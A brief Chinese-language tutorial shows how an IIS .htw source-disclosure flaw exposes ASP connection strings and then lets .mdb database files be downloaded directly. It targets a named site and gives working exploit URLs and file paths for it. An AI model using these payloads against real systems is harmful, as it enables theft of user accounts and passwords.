Web 應用普遍依賴資料庫,分為本地小型庫與遠程大型庫兩類。本文以實戰案例演示如何利用 IIS 源碼洩露漏洞獲取 ASP 連接字串,進而下載本地 MDB 文件並提取敏感數據。
目標:www.suilian.net(NT 4.0 + IIS 4.0),使用 twwwscan 等工具發現 .htw 源碼洩露漏洞:
https://www.suilian.net/null.htw?CiWebhitsfile=/maillist.asp&CiRestriction=none&CiHiliteType=full
https://www.suilian.net/null.htw?CiWebhitsfile=/index.asp&CiRestriction=none&CiHiliteType=full
...(多個聊天室頁面同樣洩露)
典型 ASP 連接代碼結構:
<%
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open "DRIVER={Microsoft Access Driver (*.mdb)};DBQ=" & Server.MapPath("chat/news.mdb")
%>
從源碼可直接獲得:資料庫類型、路徑(d:\S\suilian\chat\news.mdb)、表名、欄位名。
若 Web 目錄權限配置不當,可直接通過 URL 下載:
https://www.suilian.net/chat/news.mdb
https://www.suilian.net/topic22.mdb
下載後用 Access 打開即可查看所有用戶帳號、密碼及業務數據。
本地資料庫攻擊門檻極低,往往源於基礎配置疏忽。開發與運維需建立「資料文件不可 Web 直達」的鐵律。